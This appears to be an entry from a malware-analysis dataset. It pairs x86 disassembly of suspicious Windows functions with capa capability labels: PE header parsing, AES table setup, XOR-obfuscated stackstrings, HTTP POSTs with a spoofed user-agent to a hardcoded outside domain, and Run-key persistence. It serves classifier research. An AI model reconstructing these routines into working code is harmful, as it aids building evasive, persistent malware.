joyce8/EMBER2024-capa huggingface dataset:
Function at 0x13435ce
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, 0x5a4d
push ebx
push esi
mov esi, edx
push edi
mov edi, ecx
cmp word [esi], ax
jne 0x1343731
mov ebx, dword [esi + 0x3c]
add ebx, esi
cmp dword [ebx], 0x4550
jne 0x1343731
mov eax, dword [edi + 0x684]
test eax, eax
je 0x1343731
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 8]
push ecx
push 0xffffffffffffffff
call eax
test eax, eax
je 0x1343731
mov eax, 0x1c0
cmp word [ebp - 4], ax
je 0x1343636
mov eax, 0xaa64
cmp word [ebp - 4], ax
jne 0x1343731
cmp dword [ebx + 8], 0x27debf2c
jne 0x1343661
push 0x4b2e8f83
push 0x4b2e8de3
push 0x4b280000
mov edx, esi
mov ecx, edi
call fcn.01343548
add esp, 0xc
xor eax, eax
jmp 0x1343736
cmp dword [ebx + 8], 0x88330560
jne 0x1343676
push 0x4b3fabde
push 0x4b3fa92b
jmp 0x1343649
cmp dword [ebx + 8], 0xe892dd44
jne 0x134368b
push 0x4b406b8e
push 0x4b4068db
jmp 0x1343649
and dword [ebp - 0xc], 0
lea edx, [ebp - 0xc]
push 0
push 1
push ecx
push 0x2bcd03a7
push esi
mov ecx, edi
call fcn.01344000
test eax, eax
js 0x1343736
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x1343731
lea eax, [ebx - 0x140]
mov dword [ebp - 0x1c], 0x3f3f3fe8
push 8
lea ecx, [ebp - 0x1c]
mov word [ebp - 0x18], 0x843f
push ecx
mov edx, 0x140
mov byte [ebp - 0x16], 0xc0
mov ecx, eax
mov dword [ebp - 0x24], 0x1b8
mov word [ebp - 0x20], 0x8400
mov byte [ebp - 0x1e], 0xc0
mov dword [ebp - 0x10], eax
call fcn.01344598
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x1343701
mov ecx, dword [ebp - 0x10]
mov edx, 0x140
jmp 0x134371e
push 7
lea eax, [ebp - 0x1c]
mov edx, 0x200
push eax
mov ecx, ebx
call fcn.01344598
test eax, eax
jne 0x134373b
mov edx, 0x200
mov ecx, ebx
push 8
lea eax, [ebp - 0x24]
push eax
call fcn.01344598
test eax, eax
jne 0x134365a
mov eax, 0xe0010001
pop edi
pop esi
pop ebx
leave
ret
push eax
push dword [ebp - 0x14]
push esi
jmp 0x134364e

Function at 0x1344420
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x134443e
mov eax, dword [ecx + 0x3c]
cmp eax, 0x400
jg 0x134443e
add eax, ecx
cmp dword [eax], 0x4550
je 0x1344440
xor eax, eax
ret
Function at 0x1347800
Capabilities:
Encode data using xor
Manually build aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov edx, 1
push ebx
push esi
push edi
xor esi, esi
mov eax, edx
mov dword [ebp + esi*4 - 0x808], edx
and al, 0x80
mov dword [ebp + edx*4 - 0x408], esi
movzx ecx, al
lea eax, [edx + edx]
neg ecx
sbb ecx, ecx
inc esi
and ecx, 0x1b
xor ecx, eax
xor ecx, edx
movzx edx, cl
cmp esi, 0x100
jl 0x1347813
mov esi, 1
mov edx, 0x134ec68
nop dword [eax]
mov eax, esi
mov dword [edx], esi
and al, 0x80
movzx ecx, al
lea eax, [esi + esi]
neg ecx
sbb ecx, ecx
add edx, 4
and ecx, 0x1b
xor ecx, eax
movzx esi, cl
cmp edx, 0x134ec90
jl 0x1347850
mov eax, 1
mov byte [0x134ca68], 0x63
mov byte [0x134dbcb], 0
mov dword [ebp - 4], eax
nop dword [eax]
mov ecx, dword [ebp + eax*4 - 0x408]
lea eax, [ebp - 0x40c]
shl ecx, 2
sub eax, ecx
mov ebx, dword [eax]
mov ecx, ebx
sar ecx, 7
lea eax, [ebx + ebx]
or ecx, eax
movzx eax, cl
xor ebx, eax
mov ecx, eax
shr ecx, 7
add eax, eax
or ecx, eax
movzx eax, cl
xor ebx, eax
mov ecx, eax
add eax, eax
shr ecx, 7
or ecx, eax
movzx edx, cl
mov ecx, edx
shr ecx, 7
lea eax, [edx + edx]
or ecx, eax
xor ecx, 0x63
movzx eax, cl
xor eax, edx
xor ebx, eax
mov eax, dword [ebp - 4]
mov byte [eax + 0x134ca68], bl
mov byte [ebx + 0x134db68], al
inc eax
mov dword [ebp - 4], eax
cmp eax, 0x100
jl 0x1347890
mov ebx, 0xff
xor esi, esi
mov dword [ebp - 8], ebx
movzx edx, byte [esi + 0x134ca68]
mov eax, edx
and al, 0x80
movzx ecx, al
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x1b
xor ecx, eax
movzx eax, cl
mov ecx, eax
xor ecx, edx
shl ecx, 8
xor ecx, edx
shl ecx, 8
xor ecx, edx
shl ecx, 8
xor ecx, eax
mov dword [esi*4 + 0x134cb68], ecx
rol ecx, 8
mov dword [esi*4 + 0x134cf68], ecx
rol ecx, 8
mov dword [esi*4 + 0x134d368], ecx
rol ecx, 8
mov dword [esi*4 + 0x134d768], ecx
movzx ecx, byte [esi + 0x134db68]
test ecx, ecx
je 0x13479bf
mov ecx, dword [ebp + ecx*4 - 0x408]
mov eax, dword [ebp - 0x3d0]
add eax, ecx
cdq
idiv ebx
mov eax, dword [ebp - 0x3e4]
add eax, ecx
mov edi, dword [ebp + edx*4 - 0x808]
cdq
idiv ebx
mov eax, dword [ebp - 0x3d4]
add eax, ecx
mov ebx, dword [ebp + edx*4 - 0x808]
cdq
idiv dword [ebp - 8]
mov eax, dword [ebp + edx*4 - 0x808]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x3dc]
add eax, ecx
mov ecx, 0xff
cdq
idiv ecx
mov eax, dword [ebp + edx*4 - 0x808]
jmp 0x13479c8
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ebx
xor eax, eax
shl eax, 8
xor eax, dword [ebp - 4]
shl eax, 8
xor eax, ebx
mov ebx, 0xff
shl eax, 8
xor eax, edi
mov dword [esi*4 + 0x134dc68], eax
rol eax, 8
mov dword [esi*4 + 0x134e068], eax
rol eax, 8
mov dword [esi*4 + 0x134e468], eax
rol eax, 8
mov dword [esi*4 + 0x134e868], eax
inc esi
cmp esi, 0x100
jl 0x1347905
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1347a20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
sub esp, 0x18
test al, 0xf
je 0x1347a36
mov eax, 0xffffffde
mov esp, ebp
pop ebp
ret
test eax, eax
je 0x1347b8a
cmp dword [ebp + 0xc], 0
mov ecx, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [ebp + 0x1c]
push edi
jne 0x1347ad2
mov ebx, dword [ebp + 0x18]
lea edx, [ecx + 0xf]
dec eax
mov dword [ebp - 8], edx
mov edi, ecx
shr eax, 4
sub edi, esi
inc eax
mov dword [ebp + 0x10], eax
movups xmm0, xmmword [ebx]
push esi
push ebx
push dword [ebp + 8]
movups xmmword [ebp - 0x18], xmm0
call fcn.01348d60
add esp, 0xc
cmp esi, dword [ebp - 8]
ja 0x1347aa3
lea eax, [esi + 0xf]
cmp eax, dword [ebp + 0x14]
jb 0x1347aa3
mov ecx, esi
mov edx, 0x10
nop
mov al, byte [edi + ecx]
lea ecx, [ecx + 1]
xor byte [ecx - 1], al
sub edx, 1
jne 0x1347a90
mov eax, dword [ebp + 0x14]
jmp 0x1347ab3
mov eax, dword [ebp + 0x14]
movups xmm0, xmmword [esi]
movups xmm1, xmmword [eax]
pxor xmm1, xmm0
movups xmmword [esi], xmm1
movups xmm0, xmmword [ebp - 0x18]
add esi, 0x10
add ebx, 0x10
sub edi, 0x10
sub dword [ebp + 0x10], 1
movups xmmword [eax], xmm0
jne 0x1347a66
pop edi
pop esi
pop ebx
xor eax, eax
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp + 0x18]
lea edx, [eax - 1]
mov ebx, ecx
shr edx, 4
sub ebx, edi
mov dword [ebp - 4], esi
inc edx
mov dword [ebp + 0x10], ebx
mov dword [ebp - 8], edx
mov edx, dword [ebp + 8]
nop dword [eax]
lea eax, [edi + 0xf]
cmp esi, eax
ja 0x1347afe
lea eax, [esi + 0xf]
cmp eax, edi
jae 0x1347b0c
lea eax, [ecx + 0xf]
cmp esi, eax
ja 0x1347b3d
lea eax, [esi + 0xf]
cmp eax, ecx
jb 0x1347b3d
mov ebx, esi
mov ecx, edi
mov esi, dword [ebp + 0x10]
sub ebx, edi
mov edx, 0x10
nop word [eax + eax]
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, byte [ecx - 1]
mov byte [ebx + ecx - 1], al
sub edx, 1
jne 0x1347b20
mov esi, dword [ebp - 4]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
jmp 0x1347b4a
movups xmm1, xmmword [ecx]
movups xmm0, xmmword [edi]
pxor xmm1, xmm0
movups xmmword [esi], xmm1
cmp dword [ebp + 0xc], 1
push esi
push esi
push edx
jne 0x1347b5a
call fcn.013492f0
jmp 0x1347b5f
call fcn.01348d60
movups xmm0, xmmword [esi]
mov ecx, dword [ebp + 0x14]
sub ebx, 0x10
mov edx, dword [ebp + 8]
add esi, 0x10
add esp, 0xc
mov dword [ebp + 0x10], ebx
add edi, 0x10
mov dword [ebp - 4], esi
sub dword [ebp - 8], 1
movups xmmword [ecx], xmm0
jne 0x1347af0
pop edi
pop esi
pop ebx
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1347bd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push esi
push edi
push dword [ebp + 0x10]
xor eax, eax
lea edi, [ebp - 0x118]
push dword [ebp + 0xc]
mov ecx, 0x46
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x118]
push eax
lea esi, [edi + 8]
mov dword [edi + 4], esi
call fcn.01347dd0
add esp, 0xc
mov dword [ebp + 8], eax
test eax, eax
jne 0x1347dc4
mov ecx, dword [ebp - 0x118]
mov dword [edi], ecx
shl ecx, 4
add ecx, dword [ebp - 0x114]
mov eax, dword [ecx]
mov dword [esi], eax
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov eax, dword [ecx + 8]
mov dword [esi + 8], eax
mov eax, dword [ecx + 0xc]
sub ecx, 0x10
mov dword [esi + 0xc], eax
add esi, 0x10
mov edi, dword [edi]
dec edi
test edi, edi
jle 0x1347dab
push ebx
nop dword [eax]
movzx eax, byte [ecx + 3]
dec edi
movzx edx, byte [eax + 0x134ca68]
movzx eax, byte [ecx + 2]
mov edx, dword [edx*4 + 0x134e868]
movzx eax, byte [eax + 0x134ca68]
xor edx, dword [eax*4 + 0x134e468]
movzx eax, byte [ecx + 1]
movzx eax, byte [eax + 0x134ca68]
xor edx, dword [eax*4 + 0x134e068]
movzx eax, byte [ecx]
movzx eax, byte [eax + 0x134ca68]
xor edx, dword [eax*4 + 0x134dc68]
mov dword [esi], edx
mov ebx, dword [ecx + 4]
mov eax, ebx
shr eax, 0x10
movzx eax, al
movzx edx, byte [eax + 0x134ca68]
mov eax, ebx
shr eax, 8
movzx eax, al
mov edx, dword [edx*4 + 0x134e468]
movzx eax, byte [eax + 0x134ca68]
xor edx, dword [eax*4 + 0x134e068]
mov eax, ebx
shr eax, 0x18
movzx eax, byte [eax + 0x134ca68]
xor edx, dword [eax*4 + 0x134e868]
movzx eax, bl
movzx eax, byte [eax + 0x134ca68]
xor edx, dword [eax*4 + 0x134dc68]
mov dword [esi + 4], edx
mov ebx, dword [ecx + 8]
mov eax, ebx
shr eax, 0x10
movzx eax, al
movzx edx, byte [eax + 0x134ca68]
mov eax, ebx
shr eax, 8
movzx eax, al
mov edx, dword [edx*4 + 0x134e468]
movzx eax, byte [eax + 0x134ca68]
xor edx, dword [eax*4 + 0x134e068]
mov eax, ebx
shr eax, 0x18
movzx eax, byte [eax + 0x134ca68]
xor edx, dword [eax*4 + 0x134e868]
movzx eax, bl
movzx eax, byte [eax + 0x134ca68]
xor edx, dword [eax*4 + 0x134dc68]
mov dword [esi + 8], edx
mov ebx, dword [ecx + 0xc]
mov eax, ebx
shr eax, 0x10
sub ecx, 0x10
movzx eax, al
movzx edx, byte [eax + 0x134ca68]
mov eax, ebx
shr eax, 8
movzx eax, al
mov edx, dword [edx*4 + 0x134e468]
movzx eax, byte [eax + 0x134ca68]
xor edx, dword [eax*4 + 0x134e068]
mov eax, ebx
shr eax, 0x18
movzx eax, byte [eax + 0x134ca68]
xor edx, dword [eax*4 + 0x134e868]
movzx eax, bl
movzx eax, byte [eax + 0x134ca68]
xor edx, dword [eax*4 + 0x134dc68]
mov dword [esi + 0xc], edx
add esi, 0x10
test edi, edi
jg 0x1347c50
pop ebx
mov eax, dword [ecx]
mov dword [esi], eax
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov eax, dword [ecx + 8]
mov dword [esi + 8], eax
mov eax, dword [ecx + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1349d50
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x34], 0x2090
mov eax, dword [ebp - 0x34]
xor eax, 0x64
mov word [ebp - 0x30], ax
mov eax, dword [ebp - 0x34]
inc eax
xor eax, 0x62
mov word [ebp - 0x2e], ax
mov eax, dword [ebp - 0x34]
add eax, 2
xor eax, 0x67
mov word [ebp - 0x2c], ax
mov eax, dword [ebp - 0x34]
add eax, 3
xor eax, 0x68
mov word [ebp - 0x2a], ax
mov eax, dword [ebp - 0x34]
add eax, 4
xor eax, 0x65
mov word [ebp - 0x28], ax
mov eax, dword [ebp - 0x34]
add eax, 5
xor eax, 0x6c
mov word [ebp - 0x26], ax
mov eax, dword [ebp - 0x34]
add eax, 6
xor eax, 0x70
mov word [ebp - 0x24], ax
mov eax, dword [ebp - 0x34]
add eax, 7
xor eax, 0x2e
mov word [ebp - 0x22], ax
mov eax, dword [ebp - 0x34]
add eax, 8
xor eax, 0x64
mov word [ebp - 0x20], ax
mov eax, dword [ebp - 0x34]
add eax, 9
xor eax, 0x6c
mov word [ebp - 0x1e], ax
mov eax, dword [ebp - 0x34]
add eax, 0xa
xor eax, 0x6c
mov word [ebp - 0x1c], ax
xor eax, eax
mov word [ebp - 0x1a], ax
xor edx, edx
mov ax, word [ebp - 0x30]
mov ax, word [ebp + edx*2 - 0x30]
mov ecx, dword [ebp - 0x34]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0x30], cx
inc edx
cmp edx, 0xb
jb 0x1349df3
push esi
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x30]
push eax
mov eax, dword [edi + 0x6a0]
call eax
mov esi, eax
test esi, esi
jne 0x1349e35
pop edi
mov eax, 0xe0d00721
pop esi
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x18], 0x56
xor edx, edx
mov byte [ebp - 0x14], 0x1b
mov byte [ebp - 0x13], 0x3f
mov byte [ebp - 0x12], 0x38
mov byte [ebp - 0x11], 0x3f
mov byte [ebp - 0x10], 0x12
mov byte [ebp - 0xf], 0x23
mov byte [ebp - 0xe], 0x3b
mov byte [ebp - 0xd], 0x26
mov byte [ebp - 0xc], 1
mov byte [ebp - 0xb], 0x24
mov byte [ebp - 0xa], 0x3f
mov byte [ebp - 9], 0x22
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x12
mov byte [ebp - 6], 0x23
mov byte [ebp - 5], 0x3b
mov byte [ebp - 4], 0x26
mov al, byte [ebp - 0x14]
mov byte [ebp - 3], 0
nop dword [eax]
mov al, byte [ebp + edx - 0x14]
movsx ecx, byte [ebp - 0x18]
movsx eax, al
xor eax, ecx
mov byte [ebp + edx - 0x14], al
inc edx
cmp edx, 0x11
jb 0x1349e90
lea eax, [ebp - 0x14]
mov byte [ebp - 3], 0
push eax
mov eax, dword [edi + 0x6a8]
push esi
call eax
mov ecx, eax
test ecx, ecx
jne 0x1349ec9
pop edi
mov eax, 0xe0d00728
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
pop edi
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
pop esi
mov dword [eax], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x134be20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
xor ecx, ecx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov eax, dword [esi + 0x24]
mov word [edi], cx
test eax, eax
je 0x134c013
push ebx
mov ebx, dword [esi + 0x24]
test ebx, ebx
je 0x134c012
mov ecx, 0x5601
mov edx, 0x5614
nop word [eax + eax]
mov dword [ebp - 0x3c], 0x5624
mov eax, 0x5616
mov word [ebp - 0x38], cx
mov word [ebp - 0x36], dx
mov word [ebp - 0x34], ax
mov eax, 0x567c
mov word [ebp - 0x32], ax
xor eax, eax
mov word [ebp - 0x30], ax
xor edx, edx
mov ax, word [ebp - 0x38]
nop dword [eax]
mov ax, word [ebp + edx*2 - 0x38]
movzx ecx, ax
movzx eax, word [ebp - 0x3c]
xor ecx, eax
mov word [ebp + edx*2 - 0x38], cx
inc edx
cmp edx, 4
jb 0x134be90
xor eax, eax
mov word [ebp - 0x30], ax
movsx eax, byte [esi + ebx + 0x28]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x50]
push eax
mov eax, dword [esi + 0x770]
call eax
add esp, 0xc
cmp word [edi], 0
jne 0x134bf24
mov dword [ebp - 0x1c], 0x2f3c
mov eax, 0x2f19
mov word [ebp - 0x18], ax
mov eax, 0x2f50
mov word [ebp - 0x16], ax
mov eax, 0x2f4f
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x12], ax
xor edx, edx
mov ax, word [ebp - 0x18]
nop dword [eax]
mov ax, word [ebp + edx*2 - 0x18]
movzx ecx, ax
movzx eax, word [ebp - 0x1c]
xor ecx, eax
mov word [ebp + edx*2 - 0x18], cx
inc edx
cmp edx, 3
jb 0x134bf00
xor eax, eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x18]
jmp 0x134bf89
mov dword [ebp - 0x10], 0x953
mov eax, dword [ebp - 0x10]
xor eax, 0x25
mov word [ebp - 0xc], ax
mov eax, dword [ebp - 0x10]
inc eax
xor eax, 0x6c
mov word [ebp - 0xa], ax
mov eax, dword [ebp - 0x10]
add eax, 2
xor eax, 0x73
mov word [ebp - 8], ax
mov eax, dword [ebp - 0x10]
add eax, 3
xor eax, 0x2d
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
mov ax, word [ebp - 0xc]
xor eax, eax
mov cx, word [ebp + eax*2 - 0xc]
mov edx, dword [ebp - 0x10]
add edx, eax
movzx ecx, cx
xor edx, ecx
mov word [ebp + eax*2 - 0xc], dx
inc eax
cmp eax, 4
jb 0x134bf66
xor eax, eax
mov word [ebp - 4], ax
lea eax, [ebp - 0xc]
push edi
push eax
lea eax, [ebp - 0x450]
push eax
mov eax, dword [esi + 0x770]
call eax
mov eax, 0x29
mov ecx, 0x70
mov word [ebp - 0x2a], ax
mov edx, 0x77
mov word [ebp - 0x28], cx
add esp, 0xc
mov word [ebp - 0x26], dx
mov word [ebp - 0x24], ax
xor eax, eax
mov word [ebp - 0x22], cx
xor ecx, ecx
mov word [ebp - 0x20], dx
mov word [ebp - 0x1e], ax
mov ax, word [ebp - 0x2a]
mov ax, word [ebp + ecx*2 - 0x2a]
movzx eax, ax
add eax, 0xfffffffc
mov word [ebp + ecx*2 - 0x2a], ax
inc ecx
cmp ecx, 6
jb 0x134bfd0
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x450]
push eax
lea eax, [ebp - 0x2a]
push eax
mov eax, dword [esi + 0x770]
push edi
call eax
mov ecx, 0x5601
add esp, 0x10
lea edx, [ecx + 0x13]
sub ebx, 1
jne 0x134be60
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403db0
Capabilities:
Reference http user-agent string

Disassembly:
sub esp, 0x234
mov eax, dword [0x41f0ec]
xor eax, esp
mov dword [esp + 0x22c], eax
mov eax, dword [esp + 0x23c]
push ebx
push ebp
mov ebp, dword [esp + 0x240]
push esi
push edi
xor edi, edi
push edi
push edi
push edi
push 1
push str.Mozilla_5.0__Macintosh__Intel_Mac_OS_X_10.7__rv:26.0__Gecko_20100101_Firefox_26.0
mov esi, ecx
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], edi
call dword [0x418228]
mov ebx, eax
test ebx, ebx
je 0x403f43
lea edx, [esp + 0x28]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x403e04
mov ecx, dword [str.http:__]
mov edx, dword [0x41a118]
push 7
lea eax, [esp + 0x24]
mov dword [esp + 0x24], ecx
push eax
lea ecx, [esp + 0x30]
push ecx
mov dword [esp + 0x30], edx
call fcn.0040c689
add esp, 0xc
test eax, eax
je 0x403ec8
push 0x104
lea edx, [esp + 0x134]
push 0
push edx
call fcn.0040eb90
add esp, 0xc
xor eax, eax
jmp 0x403e60
mov cl, byte [esp + eax + 0x28]
mov byte [esp + eax + 0x130], cl
inc eax
test cl, cl
jne 0x403e60
push 0x104
lea eax, [esp + 0x2c]
push 0
push eax
call fcn.0040eb90
add esp, 0xc
xor eax, eax
mov cl, byte [esp + eax + 0x20]
mov byte [esp + eax + 0x28], cl
inc eax
test cl, cl
jne 0x403e86
lea eax, [esp + 0x130]
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403ea0
lea edi, [esp + 0x28]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403eb0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push 0x80000100
push 0
push 0
lea ecx, [esp + 0x38]
push ecx
push ebx
call dword [0x418230]
mov edi, dword [0x41822c]
mov esi, eax
test esi, esi
je 0x403f3a
mov edx, dword [esp + 0x14]
mov eax, dword [edx]
mov dword [esp + 0x1c], 0
test ebp, ebp
je 0x403f0d
test eax, eax
jbe 0x403f0d
push eax
push 0
push ebp
call fcn.0040eb90
add esp, 0xc
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx]
lea eax, [esp + 0x1c]
push eax
push edx
push ebp
push esi
call dword [0x418220]
test eax, eax
je 0x403f37
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
mov dword [ecx], eax
mov dword [esp + 0x18], 1
push esi
call edi
push ebx
call edi
mov eax, dword [esp + 0x18]
jmp 0x403f45
mov eax, edi
mov ecx, dword [esp + 0x23c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040bd36
add esp, 0x234
ret
Function at 0x404070
Capabilities:
Reference http user-agent string

Disassembly:
push ecx
push ebp
push edi
xor edi, edi
push edi
push edi
push edi
push 1
push str.Mozilla_5.0__Macintosh__Intel_Mac_OS_X_10.7__rv:26.0__Gecko_20100101_Firefox_26.0
call dword [0x418228]
mov ebp, eax
test ebp, ebp
je 0x404108
push ebx
push edi
push edi
push 3
push edi
push edi
push 0x50
push str.caprice_porn.com
push ebp
call dword [0x41821c]
mov ebx, dword [0x41822c]
mov dword [esp + 0xc], eax
test eax, eax
je 0x404104
push esi
push edi
push 0x84404000
push edi
push edi
push edi
push str._e.php
push str.POST
push eax
call dword [0x418224]
mov esi, eax
test esi, esi
je 0x4040fc
mov eax, str.Content_Type:_application_x_www_form_urlencoded
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4040d7
mov ecx, dword [esp + 0x1c]
push ecx
sub eax, edx
mov edx, dword [esp + 0x1c]
push edx
push eax
push str.Content_Type:_application_x_www_form_urlencoded
push esi
call dword [0x418234]
push esi
mov edi, eax
call ebx
mov eax, dword [esp + 0x10]
push eax
call ebx
pop esi
push ebp
call ebx
pop ebx
mov eax, edi
pop edi
pop ebp
pop ecx
ret

Function at 0x404530
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x638
mov eax, dword [0x41f0ec]
xor eax, esp
mov dword [esp + 0x634], eax
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 0x20a
lea eax, [esp + 0x230]
push ebx
push eax
mov esi, ecx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x28], ebx
call fcn.0040eb90
push 0x20a
lea ecx, [esp + 0x30]
push ebx
push ecx
call fcn.0040eb90
push 0x20a
lea edx, [esp + 0x454]
push ebx
push edx
call fcn.0040eb90
add esp, 0x24
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x14]
push ecx
push ebx
push 0x101
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
mov dword [esp + 0x3c], 0x20a
call dword [0x41800c]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x43c]
push eax
push ebx
push ebx
push 0x41a204
push ecx
call dword [0x418010]
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x438]
mov word [esp + eax + 0x20], cx
add eax, 2
cmp cx, bx
jne 0x4045e0
lea edx, [esp + 0x22c]
mov eax, esi
sub edx, esi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
cmp cx, bx
jne 0x404600
lea eax, [esp + 0x22c]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404620
sub eax, edx
sar eax, 1
mov ebp, eax
lea eax, [esp + 0x20]
lea edx, [eax + 2]
jmp 0x404640
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404640
mov edi, dword [0x4181d0]
sub eax, edx
push ebp
lea edx, [esp + 0x230]
sar eax, 1
push edx
mov esi, eax
call edi
push esi
lea eax, [esp + 0x24]
push eax
call edi
cmp esi, ebp
jb 0x40469e
xor edi, edi
sub esi, ebp
lea ebx, [esp + 0x20]
push ebp
lea ecx, [esp + 0x230]
push ebx
push ecx
call fcn.0040c581
add esp, 0xc
test eax, eax
je 0x404696
inc edi
add ebx, 2
cmp edi, esi
jbe 0x404676
jmp 0x40469e
mov dword [esp + 0x14], 1
mov edx, dword [esp + 0x10]
push edx
call dword [section..rdata]
mov ecx, dword [esp + 0x644]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040bd36
add esp, 0x638
ret
Function at 0x4048d0
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x428
mov eax, dword [0x41f0ec]
xor eax, esp
mov dword [esp + 0x420], eax
push esi
push 0x104
lea eax, [esp + 0x21c]
push eax
push 0
call dword [0x4180c0]
push 0
push 1
push 0x6c174b4e
lea ecx, [esp + 0x1c]
push 0xc124b293
push ecx
call fcn.00404370
add esp, 0x14
test eax, eax
je 0x40496c
push 0
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x220]
push eax
call dword [0x4180c8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea ecx, [esp + 0x28]
push ecx
call dword [0x41808c]
mov esi, eax
test esi, esi
je 0x40495f
push esi
call dword [0x418048]
push esi
call dword [0x418054]
push 7
lea edx, [esp + 0x14]
push edx
call dword [0x41805c]
lea ecx, [esp + 0x10]
mov dword [esp + 0xc], 0
call fcn.00404530
test eax, eax
jne 0x4049f3
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0xc]
push ecx
push 0
push 0xf013f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [0x41800c]
lea eax, [esp + 0x10]
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4049b0
mov ecx, dword [esp + 8]
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 4]
push edx
lea eax, [esp + 0x14]
push eax
push 1
push 0
push 0x41a204
push ecx
call dword [0x418014]
mov edx, dword [esp + 8]
push edx
call dword [0x418004]
mov eax, dword [esp + 8]
push eax
call dword [section..rdata]
mov ecx, dword [esp + 0x424]
pop esi
xor ecx, esp
mov eax, 1
call fcn.0040bd36
add esp, 0x428
ret